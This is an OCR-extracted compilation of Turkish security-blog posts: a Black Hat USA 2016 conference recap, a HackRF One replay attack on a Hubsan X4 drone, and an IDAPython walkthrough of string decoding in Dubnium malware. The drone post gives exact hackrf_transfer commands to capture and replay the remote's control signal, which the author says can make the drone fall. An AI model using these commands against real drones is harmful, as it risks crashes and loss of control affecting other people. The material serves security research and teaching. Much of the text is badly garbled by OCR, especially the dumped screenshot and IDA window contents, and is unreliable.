RTL2832U dijital tv alicis1 ile neler yapilabilecegi gosterildi. Ogleden sonra ise 1.5 giinde 6grenilen bilgilerin pekistirildigi oldukga
keyifli bir calisma gergeklestirildi. Katilimcilardan takimlar olusturuldu ve daha sonra egitmenler tarafindan 6zel olarak olusturulmus
quadcopterler (drone) takimlara dagitildi. Her bir takimdan drone'a tizerinde bulunan baglanti noktalari iizerinden cihaza baglanmalari,
donanim yazilimini indirmeleri (dump), zafiyet tespit etmeleri ve diger ekiplerin mevcut zafiyeti istismar etmesinden 6nce dronelarindaki
bu zafiyeti gidermeleri istendi. Bunlara ilave olarak ayrica her ekibe dagitilan ve drone'a komut gondermek i¢in kullanilan vericinin
Hardsploit ile incelenmesi ve ardindan egitmenlerin sahip oldugu drone'a komut géndererek (belli periyotlarda egitmenler kendi
dronelarina sinyal gondererek bunu elde etmemizi sagladilar) havalandirmalari istendi. Kisa siirede son derece yogun gegen bu egitimden
olduk¢a memnun kaldigimi sdyleyebilirim.
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Black Hat Konferansi, geleneksel olarak konferansin kurucusu olan Jeff Moss'un agilig konugmasi ile basladi. Yaklasik 8 dakika boyunca
konustuktan sonra sdzii Dan Kaminsky'e verdi. Jeff Moss konusmasinda bazi istatistiklere de yer verdi. ilk olarak Black Hat USA
2016'ya tarihi bir katilim oldugunu ve agilis konusmasinda salonda yaklasik 6400 kisi oldugunu agikladi! Ardindan da 194 6grenciye
burs verdiklerini belirtti. (A¢ilis konusmasini merak edenler, agagida onlar i¢in kayit ettigim videoyu izleyebilirler.)
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Gectigimiz sene oldugu gibi yine paralelde birbirinden ilgi ¢ekici sunumlar oldugu i¢in hangisine katilacagima karar vermekte oldukca
zorlandim. Sunum sayfasindaki kategori bazli filtreden faydalanarak "Tersine Miihendislik" ve "Zararli Yazilim" konularini isleyen
sunumlara katilmaya gayret ettim. Ikinci giin katildigim sunumlarin ilk giinkii sunumlara kiyasla benim i¢in daha tatminkar oldugunu
sOyleyebilirim. Katilim olduk¢a yiiksek oldugu icin yine bir sunumdan digerine gitmek icin metrobiis kalabali§in1 aratmayan bir
kalabaligin arasindan yolumu bulmaya calistim. Bazi sunumlarda isitme engelli katilimcilar i¢in isaret dili ile anlatim yapilmasini da
¢ok takdir ettim.

61



62



_ USASUE,

g__d Breakers, Lagoon, Reef, Surf Rooms

1 Mandalay A through H Ballrooms

Briefings Registration
NOC

Black Hat Boulevard
Briefings Breakfas
Keynote

Sales Sulte
Sponsored Workshops

Speaker and Media Registration
Working Media Center

Event Managiement Office

Twitter: @BlackHalEvants Hashiag: IBHUSA

63



BRIEFINGS

Briefings 13:50-14:40

9 q;&\ Adaptive Kernel Live Patching: An Open Collaborative

9" Effort to Ameliorate Android N-Day Root Exploits
by Yulong Zhang + Tao Wei Jasmine Ballroom
CANSPY A Platform for Auditing CAN Devices
by Jonathan-Christofer Demay + Arnaud Lebrun
South Seas CDF

» } Certificate Bypass: Hiding and Executing Malware
&/ from a Digitally Signed Executable South g
by Tom N:pravsky |
e e Drone Attacks on Industrlal Wireless: A New Front in
Cyber Security ey
by Jeff Melrose
ing a
@ @ GATTackmg Bluetooth Smart Devices - Introducing
New BLE Proxy Tool South Seas GH

by Slawomir Jasek

Noant Stolen
a @ HEIST: HTTP Encrypted Information can be

Through TCP-Windows South Seas ABE
by Tom Van Goethem + Mathy Vanhoel

: Demon
e @ Secure Penetration Testing Op.f'.“:: :'ools F
Wuknouu in Learning Material & mandalay BaY €

by Wesley McGrew

( Intelli
@ Q’b\urdl a Holistic Approach In Building
Fight Crimeware @ .. MatheW .

Katildigim sunumlardan, Breaking Payment Points Of Interaction (POI) sunumunda POS cihazinin tus takimina (Pinpad) ortadaki adam
saldiris1 (MITM) yapilarak miisteriden Pin girmesini istemeleri ve daha sonrasinda aradaki haberlesme sifreli olmadigi i¢in ¢alabilmeleri,
miisteriye gosterilen ekranlara kendi mesajlarini enjekte edebilmeleri oldukga ilgingti.

g.nci
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Captain Hook: Pirating AVs To Bypass Exploit Mitigations sunumunda ise antiviriis yazilimlarinin ¢engelleme (hook) yontemini hatali
kullanmalar1 sebebiyle yiikli olduklar: sistemlerin giivenligini nasil zayiflattigi ile ilgili kisimlar da olduk¢a 6nemliydi.
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TOTALS

Konferansa damgasini vuran sunumlardan biri olan Hacking Next-Gen ATMs: From Capture To Cashout sunumunda ise Shimmer
dedigimiz aygitlar ile dolandiricilar tarafindan banka hesaplarinin ATM iizerinden nasil bosaltilabilindigi gozler 6niine serildi. Ayrica son
zamanlarda dolandiricilarin temassiz kredi kart1 bilgilerini de satin almaya bagladiklar1 bilgisi, dikkat ¢eken bir diger 6nemli noktaydi.

Shimmer, ATM'de kart okuyucu yuvasina yerlestirilen ve giiniimiizde giivenli olarak kabul edilen Cip & Pin destekli EMV kartin
¢ipi ile ATM'nin ¢ip okuyucusu arasindaki bilgiyi ¢alan ve dolandiricilara bu bilgiyi anlik olarak gonderen bir aygittir. Bu bilgiyi

alan dolandirici, baska bir ATM'den bu bilgi ile miisterinin banka hesabini bosaltabilmektedir.
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HACKING NEXT-GEN ATMS

FROM CAPTURE TO CASHOUT
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Cherokee Jeep'i hackleyerek linlerine iin katan Charlie Miller ile Chris Valasek'in Advanced Can Injection Techniques For Vehicle
Networks sunumuna gegen sene oldugu gibi yine yogun bir ilgi vardi. Bu iki giivenlik aragtirmacisi sunumlarinda, araba iireticilerinin
giivenlik adina sistemlerine koyduklari kontrolleri nasil asabildiklerine ve bunun i¢in hangi adimlardan gegtiklerine yer verdiler.

71


https://en.wikipedia.org/wiki/Charlie_Miller_(security_researcher)
http://chris.illmatics.com/about.html
https://www.blackhat.com/us-16/briefings/schedule/#advanced-can-injection-techniques-for-vehicle-networks-4149
https://www.blackhat.com/us-16/briefings/schedule/#advanced-can-injection-techniques-for-vehicle-networks-4149

72



Advanced CAN Message
Injection

Dr. Charlie Miller (@0xcharlie)

Chris Valasek (@nudehaberdasher)




State of art CAN injection — Physical s

Sunumlar diginda pek tabii yine Business Hall, giivenlik diinyasinin markalarina ve bu markalarin gérkemli stantlarina ev sahipligi
yapti. Black Hat USA 2016'da, Tiirkiye'de oldugu gibi "madem sponsor oldum o halde ben de konusacagim" diyen, mikrofonu eline alip
etkinlik programini ve katilimcilarin vakitlerini hige sayarak uzun siireler konusup programi sarkitan sponsor sunumlart yoktu. Giivenlik
etkinligi diizenlemeye niyetlenip sponsorlarin kaprisleri ile kargi karsiya kalanlar, sponsorlari ikna etme adina asagidaki fotograflari
kendileri ile paylasabilirler. :)
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Black Hat magazasina her zaman oldugu gibi Black Hat hayranlarinin olduk¢a yogun ilgisi vardi. Birbirinden ilging hediyelik esyalar
arasinda gezinirken, Twitter takip¢ilerime yonelik diizenleyecegim hediye ¢ekilisi i¢cin ufak tefek hediyeler almay1 ihmal etmedim. :)
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Egitimleriyle, sunumlariyla, atmosferiyle ve anilartyla beni her daim biiyiileyen Black Hat USA konferansi benim igin yine oldukca
verimli gecti. Umarim bilgi giivenligine meraki olan herkes, imkanlar1 dahilinde veya isverenlerinin destegiyle bu konferansa katilma
imkanini birgiin yakalar. Black Hat 2017 USA blog yazisi ile tekrar goriisebilir miyiz bilmiyorum fakat goriisebilmeyi timit ederek

herkese giivenli giinler dilerim. :)
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The post Black Hat USA 2016 appeared first on Hack 4 Career - Siber Giivenlik Giinliigii.

Bir Drone Gordiim Sanki

Source: https://www.mertsarica.com/bir-drone-gordum-sanki/
By M.S on September 1st, 2016

Her biitceye uygun Insansiz Hava Araglarmin (IHA), genel olarak bilinen adiyla dronelarin bir tik ile internetten satin almabildigi ve
kolay kolay kayit altina alinamadig: su giinlerde, hem havayolu tasimaciligi hem de mahremiyet i¢in tehlike olusturmaya basladigina
yazili ve gorsel medyada yer alan haberlerde sikca rastlamaya basladik.

Durum bdyle olunca da, dronelar ile miicadele diinyada oldugu kadar iilkemizde de 6nem kazanmaya basladi. Diinyada dronelar ile
miicadele adina yapilan ¢aligmalara baktigimizda, kartal ile drone avlayan Hollanda Polis'i, ag atan drone ile dronelar1 avlayan Tokyo
Polis'i, diger dronelart (Parrot AR.Drone 2 ise) hacklemeye imkan taniyan Skyjack calismasi belki de bu alanda en yaratici ¢alismalarin
basinda geliyor diyebiliriz.

2014 yilnin basinda ben de Hubsan X4 H107C ile (6rnek videoya buradan ulasabilirsiniz) drone diinyasina adim attim. Drone'u
ugururken bir giivenlik uzmani olarak aklimi kurcalayan bazi sorular oluyordu. Bunlardan en ¢ok merak ettigim ise drone uguran bir
kisinin kumanda ile drone arasindaki baglantis1 manipiile edilebilir veya tekrarlanabilir miydi ? Eger drone WIFI iizerinden haberlesiyor
olsaydi o zaman Sammy gibi drone ile telefon arasindaki WIFI agini cesitli araclar ve cihazlar yardimi ile kirabilir ve Skyjack
calismasinda oldugu gibi baglantisini ele gegirmeye (hijack) veya manipiile etmeye ¢alisabilirdim. Ancak sahip oldugum drone olan
Hubsan X4 H107C, kendine 6zgii protokolil ile 2.4 GHZ frekansindan haberlestigi i¢cin Logic Analyzer yardimi ile SPI iletisimini
izleyerek protokolil ¢dziimlemenin zahmetli ve maaliyetli olacagini diisiindiim.

Bu zahmetli yolda, agrimig saglarimi dokmeme adia 6nceden bu protokolil inceleyen olmus mu diye Google'da arama yaptigimda,
Jim Hung'un ¢alismasi dikkatimi ¢ekti. (#1, #2, #3, #4). Jim Hung'un Logic Analyzer ile gergeklestirdigi ¢alismaya gore kumanda ile
X4 arasindaki baglantiy1 ¢almak (hijack), manipiile etmek teoride olabilir gibi goriinse de pratikte (en azindan benim i¢in) pek kolay
durmuyordu. Bu ¢alismadan yola ¢ikarak ben de gonderilen sinyali nasil tekrarlayabilecegimi (replay) diislinmeye basladigimda, aklima
garaj kapisi arastirmamda isimi oldukc¢a kolaylastirabildigini tecriibe ettigim HackRF One geldi.

Jim'in ¢aligmasinin 1s18inda ilk is olarak Kali'de yer alan Ggrx SDR araci ile 2400 MHz (2.4 GHz) frekansindan baslayacak sekilde
frekanst +10 MHz arttirarak (2410, 2420, 2430...) izlemeye basladim. Kumandanin agildiginda X4'{i aramak i¢in gonderdigi kesif
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(discover) paketini kolaylikla tespit edebildim. X4'ten kesif paketine istinaden gelen yanit iizerine kumanda ile eslestiginde ise X4'i
ilgili frekansta tespit etmekte ¢ok zorlanmadim.

Ggrx 2.3.0 = hackrf=0 e e 0
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flgili frekansi bulduktan sonra ise kumandadan X4'e pervaneleri gevir (gaz verme - sol gubuk yukari) komutunu verdikten sonra ilgili
sinyali HackRF One cihazi ile asagidaki komut yardimu ile kayit altina almaya basladim.

hackrf transfer -r Hubsan-2442Mhz-8M-8bit-1.bin -f 2442000000 -1 40 -n 5

Ardindan bu defa asagidaki komut ile kayit altina aldigim sinyali ilgili frekansa gonderdigimde X4'iin pervanelerinin hareket ettigini
gordiim ve basariyla X4 ile kumanda arasindaki sinyali tekrarlayabilmis oldum. Tekrarlama saldirisinda zaman zaman X4'iin kumanda
ile olan baglantisinin koptugunu gordiim ki bu durum X4'in diismesi anlamina geliyordu. (Drone ile miicadele adina fena sayilmaz,
ne dersiniz ? :))

hackrf transfer -t Hubsan-2442Mhz-8M-8bit-1.bin -f 2422000000 -x 47

Sonug olarak X4 H107C'nin HackRF One ile tekrarlama saldirisi yapilarak kotiiye kullanilmasi (diisiiriilmesi gibi) miimkiin gibi
goriiniiyor. Dronelar ile miicadelede ilging bir ayrinti olabilir.

Bir sonraki yazida goriigmek dilegiyle herkese giivenli giinler dilerim.

The post Bir Drone Gordiim Sanki appeared first on Hack 4 Career - Siber Giivenlik Giinliigi.

IDAPython ile Otomasyon

Source: https://www.mertsarica.com/idapython-ile-otomasyon/
By M.S on October 3rd, 2016

Her ne kadar giivenlik arastirmalarinda ve zararli yazilim analizinde hata ayiklayici/disassembler olarak Immunity Debugger/OllyDbg
araclarini daha kullanigh bulsam da, bu durum IDA hata ayiklayici/disassembler aracinin giiciinii ve yeteneklerini hem bireysel hem
de kurumsal olarak goz ardi ettigim anlamina gelmiyor. Ozellikle analiz edilen programi kaynak koduna ¢evirme yetenegi, ok sayida
platform destegi, IDAPython eklentisi , Immunity Debugger'a gére her daim giincellenmesi ve gelistirilemeye devam edilmesi IDA
aracini benim i¢in vazgegilmez kiliyor. Hem bu artilarindan dolay1 hem de bankacilik zararli yazilimlarini yakindan takip edip analiz
eden bir banka i¢in de bankanin lisansli ticari araglar1 arasindaki yerini istikrarlt bir sekilde yillardir korumaya devam ediyor. Bu yazida
ornek bir zararli yazilim analizinde manuel olarak yapildig: taktirde oldukc¢a zaman alabilen bir iglemin IDAPython eklentisi ile nasil
hizlandirilabilecegine dikkat ¢ekecegim. Ayrica bu yazi Pi Hediyem Var #7 oyununun da ¢éziim yolunu icermektedir.

IDAPython, Python programlama dili ile hazirlamis oldugunuz betikleri (script), IDA API ve diger Python modiillerinden de
faydalanarak IDA iizerinde kullanmanizi saglayan oldukg¢a faydali bir eklentidir. IDAPython eklentisi IDA Professional ve Starter ticari
stirtimleri ile birlikte yiikli olarak gelmekte, demo siiriimiinde ise harici olarak GitHub sayfasi {izerinden yiiklenmesi gerekmektedir.

IDAPython'm kullanimu ile ilgili olarak internette ¢ok sayida olmasa da yeterli sayida kaynak bulabilirsiniz. Bunlardan Ero Carrera'nin
Introduction to IDAPython makalesini, ticretsiz The Beginner's Guide to IDAPython e-kitabini, Palo Alto'nun IDAPython yazi serilerini
oncelikle okumanizi tavsiye edebilirim. IDA API kullanimu ile ilgili olarak da Hex-Rays'in IDAPython dokiimanlarini inceleyebilirsiniz.
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https://www.immunityinc.com/products/debugger/
http://ollydbg.de/
https://www.hex-rays.com/products/ida/
https://hex-rays.com/products/ida/debugger/index.shtml
https://github.com/idapython/
https://www.mertsarica.com/pi-hediyem-var-7/
https://www.hex-rays.com/products/ida/order.shtml
https://www.hex-rays.com/products/ida/order.shtml
https://www.hex-rays.com/products/ida/support/download_demo.shtml
https://github.com/idapython/
https://leanpub.com/IDAPython-Book
http://researchcenter.paloaltonetworks.com/2016/06/unit42-using-idapython-to-make-your-life-easier-part-6/
https://www.hex-rays.com/products/ida/support/idapython_docs/

Bildiginiz iizere zararli yazilim analizine ilk olarak (¢ogunlukla) statik analiz ile baglanmaktadir ve bu adimda zararli yazilim iizerinde
yer alan karakter dizileri (strings) GNU strings, Sysinternals strings vb. araglarla incelenebilmektedir. Tabii sizin hangi adimlardan
gectiginiz ¢ok iyi bilen ve ileri seviye siber saldirilarda (APT) kullanilmak iizere zararli yazilim gelistiren art niyetli kisiler buna kargin
bu karakter dizilerinin ¢alisma esnasinda (runtime) ¢6ziilmesini (decode) saglayan fonksiyonlar (string decoder) kullanmaktadirlar. Bu
gibi bir durumla karsilastiginizda 6rnegin zararli yazilim lizerinde okunakli olmayan (encoded string) 100 tane karakter dizisi var ise ilk
is olarak bu karakter dizilerini ¢dzen ana fonksiyonu (string decoder) bulmak olmalidir. Hata ayiklayicida (debugger) zararli yazilimi
calistirdiktan sonra ¢dzme iglemini gergeklestiren fonksiyonun baglangicina ve sonuna kesme noktasi (breakpoint) koyarak ¢oziilen
karakter dizilerini yazmaglardan (register) anlik olarak elde edebilirsiniz. Teoride uygulanabilir olsa da pratikte her ¢oziilen karakter
dizisini bir kenara not almak veya programin akiginda 5 karakter dizisi ¢6zdiikten sonra anti-vm, anti-debugger kontrollerine takildigi
i¢in sonlanan hata ayiklayici bize zaman kaybettirebilir. Bu gibi durumlarda IDAPython eklentisi bizi bu ¢ikmazdan kurtabilir.

Konakladiklar otellerdeki Wi-Fi agini kullanan iist diizey kurum ¢alisanlarinin DarkHotel APT grubu tarafindan uzun yillardan beri
hedef alindig1 gectigimiz yillarda haberlere yansimisti. DarkHotel grubunun kullandigi zararl yazilim ile benzerlikler tasiyan ve Pi
Hediyem Var #7 oyununa da konu olan Dubnium adindaki zararli yazilim, Microsoft'un Threat Research & Response Blog'unda yer
alan yazida da belirtildigi iizere karakter dizilerini gizlemek i¢in bir fonksiyon kullaniyordu.

Dubnium zararli yazilimu ile iligkili olan ve 0ac65c¢60ad6f23b2b2f208e5ab8be0372371e4b3 SHA 1 hashine sahip olan sshkeypairgen.exe
(Pi Hediyem Var #7'de adi1 adobe-pdf-reader.exe olarak degistirilmisti.) isimli zararli yazilimi IDA ile inceledigimde, Microsoft'un
yazisina konu olan karakter dizisi ¢dzme fonksiyonuna (sub_1177036) benzer bir fonksiyonun bu yazilimda da oldugunu gordiim.
sub_ 1177036 fonksiyonunu ¢agiran diger (xrefs to) fonksiyonlari listeledigimde sayinin oldukga fazla oldugunu goérdiim ki bu durum
gercekten karakter dizisi ¢ozdiigline dair bir isaret olabilirdi.

newe CALors Mert\[
File Edit Jump Search View Debugger

Options Windows Help

SE =vev| B b b o RO AdFFduX » DO Nodebugger = «E ;e
D N LS 11 I
Libeary function [l Data [l Regular function Unexplored Instruction External symbol
7 Functions window 0 & x L IDAVewA T Hex View-1 ¥ Strings window O T Structures Z  Enums i Imports F  Exports
Function name * | Address Length Type String =
|f] sub_428960 5] text00429ADC  000ODOOS C W08
L sub_428C40 s text:DO429AE4  DODODOOA C %\ s\ s
7 sub_428C50 5| textDO429AF0  00DOOOOB C Yeljce(hR
L] sub_428CA0 5] 1extO0429AFC 00000015 C jLdhiU{eoScMjikef
Lsub 42BCDO (5] text:00429814 00000005 C [DWe
| sub_428D30 s textD0429B1C  DODODOOE C d_jed¥)¥[TMkU
\L{ sub_428D70 '§] text0042982C 00000007 C G9EKAE
| sub_428090 '] text00420834  00DOOOOS C [k
7] sub_428D€0 '3 text:0042983C  00DODO09 C DBN:#7E]
L sub_42BEED :. text:004 29848 0000000A C ALAATI_
] sub_428F20 3] text:0042985C  0ODOOOO6 C NNNNe
£ sub_428FDO0 's| text00429864  DODOOOOC C hkiCj_hiL[Wi
L sub 420030 s text: 00429874 00000008 C | Nhlnhl
J] sub_42€110 '] textDO42987C  0OOOOOOB C 92 HBIOMS)
2] sub_42€190 '] text:00429888  000OOOOT C TINFTC
£ sub 42C1E0 o ‘5] text:00429690 00000009 L ic_Zifwd
< om 4 s textD042989C  000ODOO9 C +N:4:CS
‘3| text:00429BA8  DODODOOE C ssh-2_rsa pub
— ‘s text:00429888 0O00000E C ssh-2_rsa.prv
i Gr o x B
o 's] 1ext004298C8  0DOOOOOE C [SUWchei* _dh
5| text:004298D8  0ODDDOOB C _ddMwd CF_
5| text:004208E4  DOOODOLF C hike] WURdUIZZdid_ZdUWeoh]khUecd .
fel_hantOOMIGCNA__ADNNNNIG ‘ B
Line 2777 of 6036
T Output window - .

Python 2.7.6 (default, Nou 10 2013, 19:24:18) [MSC v 32 bit (Intel)]

IDAPython ul.7.0 final (serial @) (c) The y Py googlegroups com>

Using FLIRT signature: Microsoft UisualC 2-14/net runtime

Propagating type informsation

SAGIAY: propagate_stkargs: function is already typed

Function argumsent information has been propagated

The initial sutoanalysis has been finiched -

Python

AU;_idle Down Disk: 2068
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https://technet.microsoft.com/en-us/sysinternals/strings.aspx
http://www.cnbc.com/2014/11/10/ceos-beware-of-darkhotel-hackers.html
https://www.mertsarica.com/pi-hediyem-var-7/
https://www.mertsarica.com/pi-hediyem-var-7/
https://blogs.technet.microsoft.com/mmpc/2016/06/09/reverse-engineering-dubnium-2/

File Edit Jump Search View

BEH vy LHL & )} w & |« Frr
D NI z)
Library function [l Data [l Regular function [ Unexplored [l Instruction | External symbol
T Functions window 0@ x T IDAViewA O | @ HexViewd 0 | Ssuingswindow | @ 0|0 eums 0 | @ mpos 0 | @ epets 0
- - * _text: 00429AE4 ; cher a5SS[) &
Fanclion haa &l text :00429AEY 5SS db "\Zs\Xs\Zs',0 DATA XREF: sub_N8C290+43340
sub_428960 text : DO4ZAEY sub_KBC290+430 0
sub_428C40 * . text:00429AEE align 10h
sub_428C50 . 004296F0 ; char aVeljeeHr_[] &
sub 42BCAD 004294F0 aVeljoelr_ db "Veljce(hR_".0 DATA XREF: sub_S8CBAS+C1jo 1
sub 428CD0 004294F0 sub_S8E3ES+BCL0
b 428030 n 00429GFB align 4
iy 00429AFC ; char aJ_dhiuEo9Cmjik[]
sub_428070 DO42IAFC aJ_dhiuEoSCajik @b ©j[_dhIU{eoS[)cHjikef' @ . DATA XREF. sub_SBCBASDCLo
sub_428090 00429aFC sub_H94W490+93 0
sub_42BDE0 : 00429811 align 4
e ) e |
sub_428F20 - - . . T -
sub_428FD0 Text
sub_42C030 . ” .
sub 42C110 = Do.. o sub 48CBAS+C1 mov  ecx, offset aYeljiceHr_; “Yelice(hR_
sub_42€190 8= Do.. o sub 48EIES5+8C mov  ecx, offset a¥eliceHr; “Yeljce(hR_~
sub 42C1E0 o= Do.. o sub 494490+83 mov  ecx, offset aYeljceHr_ “Yeljce(hR_"
sub 42280 Do... o sub 4945C6+83 mov et offset aYelioeHr ; “Yeljce(hR *
sub_42€310 L= Do o st ecx of i v
sub 42C350 &= Do.. o sub 49863D+E2 mov  ecx, offset aYeljiceHr_ “Yeljce(hR_
sub 42€3C0 &2 Do.. o sub 49883B+7F mov  ecx, offset aYeljceHr_; “Yeljce(hR_*
sub_42C3F0 |
rub AW AAN
‘ m vy
= Output window Line 5 of 7 De x
S

Python 2.7.6 (default, Now 10 2013, 19:24:18) [NWSC v.1500 32 bit (Intel))
IDAPython v1.7.0 final (serial @) (c) The IDAPython Team <idapython@googlegroups com>

Using FLIRT signature: Microsoft UisualC 2-14/net runtime
Propagating type inforsation.. .

HAGIA9: propagate_stkargs: function is already typed "
Function argument information has been propagated =
The initial ysis has been finished

| Python

AU;_ idle Down Disk: 20GB

D4
File Edit Jump Search View Debugger Options Windows Help
MH ®sver BHA & ) u DO ASF L)X > O O|Nodebugger @ FPrr
S SNl z)
Uibrary function [ll Data [l Regular function [ Unexplored [l Instruction | External symbol
7 Functions window O & x T DAViewA O | T HexViewd 0O | Ssuingswindow D | @ 0|0 ewms o |G mpots O | @ Bpes O
Function name 2
C E== -
sub_428960 . START OF FUNCTION CHUNK FOR sub_894CC3
sub_428C40
sub_428C50 loc_4B2E58:
sub_428CA0 sub_Y94CCH proc near Iu ecx, [.hg-!?lhl . .
sub_428C00 jmp ?_Tidy@?$vector@PRiU?5al locator@PaXistdd@@stdi
b 428030 var_S44: dword ptr -S4%h END OF FUNCTION CHUNK FOR sub_N94CC9
iy var_524s dword ptr -524h
sub_428070 520 dword ptr -520h
sub_428D90 _51C: dword ptr -S1Ch
sub_428DED ing: byte ptr -518h
sub_428EED = byte ptr -S17h
sub_428F20 va -:2' :H’:l P:r :::
b 4, var_40Fs * ptr -
s"b"g(a;gg var_10: dword ptr -10h
s var_C: dword ptr -0Ch
5":—:2232 var_4: dword ptr -4
sub
| £ sub 42C1E0 1 : FUNCTION CHUNE AT OOWB2ESS SIZE 00000008 BYTES
4 - »
push  OFFFFFFFFh
push  offset SEH_494CCH
A Graph ovenvdew oex oy eax, large fs:0
push eax
sub esp, SICh
mow eax, ___security_cookie
xor .
100.00% (-134,-20) (993,18) 00094166 00494DE6: sub_494CCI+9D (Synchronized with Hex View-1)
Emm D # x

Python 2.7.6 (default, Nov 10 2013, 19:24:18) [NSC v.1500 32 bit (Intel)]

Using FLIRT signature: Microsoft UisualC 2-18/net runtime
Propagating type inforsation...

HAGIAZ: pr _stkargs: is already typed
Function argument information has been propagated L]
The initial sutocanalysis has been finished.

| Python |
AU:_ idle Down Disk: 2068

84



DA - sors)) ktop

File EdR Jump Search View Debugger Options Windows Help
AH ®ver BAA A 3w RO AP S WX > O O[Nodebugger
I e I

- @ Frr
e

100.00% (-134,1101) (€65,3) 00094166 00494DE6:
= Output window

Python 2.7.6 (default, Now 10 2013, 19:2%:18) [NSC v.1500 32 bit (Intel)]
IDAPython ul. 7.0 final (serial 0) (¢) The IDAPython Tesm <idapythonlgooglegroups com>

Using FLIRT signature: Microsoft UisualC 2-14/net runtime
Propagating type inforsation...

HAG1A9: propagate_stkargs: functi is already typed
Function argument information has been propagated

The initial ysis has been finished

| Python |
AU idle Down

Disk: 20GB

)
eax, [np'SJCMw_SZOll
sub_494CC9+9D (Synchronized with Hex View-1)

T IDAViewA O | T HexView1 0 | Sstringswindow 0 | @ 0| D ewms o | @ mpos 0 | @ Bpets O
- lea eax, [esp*SICheuvar_NOF)
] push 3FFh : Size
push  ebx : Ual
eax : Dt
call _memset
add esp. 8
lea odx, [esp*S4Oh+String)
mou wecx, offset aVeljceHr Yeljee(hR_~
mowy ebp,. ebx
push 185h : int
call sub_497036
lea edx, [esp*S4uhtuar_4§10]
moy [esp*S44hsuar_S44], 400h ; int
mou wcx, offset dword N2ABFD : Str
call sub_497038
lea eax, [esp*S44htuvar_S524)
push wax : in
lea edx, [esp*S48h+uar_§10] : lpString
lea ecx, [esp*S4gheString] : 1pString
5 call sub_499538
» mow esi, [esp*S4Bhtvar_524]
add esp. OCh
test eax, eax
oef x jz short loc_ 434084

4 |m

MH esve~y N8 8 } W BQ AP X > D ONodebugger

LE R L
Library function [ll Data Il Regular function | Unexplored [l Instruction | External symbol

@ Frr

|7 Fundons window © 6 x T IDAViewA O | T HexViewi 0 | Sstingswindow D | @ Struawes 0 | D Ewms 0 | G Impots O | @ eges O
| Function name = lea eax, [esp*SICheuar_40F]
| = push 3IFFh : Size
| | L] sub_428960 push  ebx i Ual
| sub_428C40 push eax : Det
| sub_428C50 call _memset
| i :“ vy : +SHOR*SE 1
| e . [osp ring
| m:_:g:g[;g mou ecx, offset aVeljceHr_ . “Veljce(hR_’
o nou ebp, ebx
sub 428070 push  185h ; int
| (L) sub_428D50 call sub_497036
| sub_428DED lea edx, [esp*S4dnheuar_410]
| sub_42BEED mou [esp+S44h+var_544], 500h : int
| 4 nov ecx, offset dword_N2ABFD : Str
| :z‘ﬁ,ga call sub_497036
| 4
| sub, 42€030 l.L wax, [up‘S'olmw:S’fil]
oy e =)
| sub 42C1%0 a b — .
il‘ W.b 42C1E0 . g Directior Ty Address Toxt =
— 5 Up p sub 48BERE+16F call _sub 497036 P
Up p sub 48CO87+6D call sub 497036 -
A Graph overview oe x i Up p sub 48C087+9A call  sub 497036
= Up p sub 48C087+AC call  sub 497036
= Up p sub48C19D+56 cll sub 497036
= Up p sub48C19D+68 call  sub 497036
100.00§| B Up p sub48C19D+9A all  sub 497036
o EUp p sub 48C19D+AC call sub 497036
= Output window = Up p sub 48C29D+192 call sub 497036 Lk
= Up p sub48C29D+1CF call sub 497036 -
Python 2.7.6 grmmt. Nou 10 2013, u:zn:l;‘)a SUp p sub48C29D+229 ll sub497036
ryuhan 97-f:8 Toaal teeoal Y 1) Toa B S Up p sub 4BC29D+23C call sub 497036
Using FLIRT signature: Micresoft Uisuall 2-18, = Up p sub 48C29D+24F all  sub 497036
Propagating type inforsation.. . EUp p sub48C29D+262 call sub 497036
HAGIAY: propagate_stkargs: function is already| == Up p sub 48C29D+275 call  sub 497036 —
Function argument information has been proj = Up p sub 48CBAS+CE call sub 497036 =
The initial yois hae been ¢ T Up p sub 48CBAS+EL cll sub 497036 ut
Python | = Up p sub 4BCBAS+F4 call  sub 497036
AU;_idle Down Disk: 2068 jUp P mub40CRAS+108 ol sub 497036

Dogrulama admna sub_1177036 fonksiyonunu ¢agiran fonksiyonlardan sub 1174CC9 fonksiyonu iizerinde ilerlemeye karar verdim.
Karakter dizisini ¢6zen fonksiyonun dncesine (ecx yazmacina Yeljce(hR degerinin kopyalandigi) ve sub 1177036 fonksiyonunun
cagrildigi (call sub_1177036) komutun sonrasina (lea edx, [esp+554h+var 410]) kesme noktas1 koyduktan sonra hata ayiklama (debug)

adimina gectim.
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Flle Edit Jump Search View Debugger Options Windows Help

lea m. [esp*Shbh*var_S524
push : int
lu ldx lup‘.'ﬂlhw §10

» @ O Local Win32 debugger -w@ 30%a IF FrF G40 D AV R
L B B ] =]
Library function [ll Data [l Regular function | Unexplored Il Instruction | External symbol
Debug View 0 @ o |® Enums o
T IDA View-EIP T et i 0 & x & General registers o e x
2o EAX 0ONGFSDD e Stack0000OACE]: DO4EFSDD AT
5 Modules o8 x
Path -
gc:\,. Mert\Desktop\dubni i 7= |
B CAWind WOWEAAwkschidl =
[esp+SHOh+String] s [Stack(O00OOOACS] : DO4GFYDY ) .. »
db ]
@ o
lea edx, [esp*Suihsvar_410 & 0 B Threads D x
mou [esp*Sadhtuar _S44], SO0 db [ a
wou ecx, offset dword_110M& d o Dedmal Hex State |
call  sub 1177036 @ o [B2760 ACB  Ready
db L]
db -]
@ 0
a 0

N e L

Ta e
100.00% (-153,1117) (786,119) 00094156 01174D56: suh 1174CC9+8D (Synchronizeu wiin sir)

T Hex View-1

01174010 SC 24 18 89 5C 29 1C 89 SC 29 20 89
81174020 00 00 80 44 24 25 68 04 O1 00 00 53
B1174D30 30 ES SA 66 00 00 83 C4 OC 88 9C 24
©1174D50 8D 84 2% 2D ©1 00 00 68 FF 83 00 00
e1i7eose (THLTNLE 83 Cv 08 80 54 24 28 B9 FO
01174060 EB 68 05 01 00 00 ES CB 22 00 00 8D
01174070 00 00 C7 04 24 00 0% 00 00 BY FO AB
01174080 22 00 00 8D 44 24 20 50 8D 94 24 38
00094150 01174D50: sub_1174CCH9+87

=

BF IFUUUY ] LOSORD L \W1NOOWS\3YSEUNSY \BIUCLL. Okl

GEE90000: loaded C:\Windows\SysWOWE4\ukecli dll

TT010000: loaded C: \I!.ndﬂu\WN\l-n dil

TSEF0000: loaded C:\Windows\syswowE¥\msctf.dll

POBSRC: loading symbols for 'C:\Users\Mert) dubnium'sshk irgen.exe "

PDB: using DIA dll “C:\Progras Files (x86)\Common Files\Microsoft Shvd\'x\udnﬂ da11-
PDB: DIA interface version 9.0

Python

AUz idle Down Disk: 206B

T Stack view 0 # x|

-
DOHEF 460

DONGFHBY
DD4GF4BS
DONEFHBC
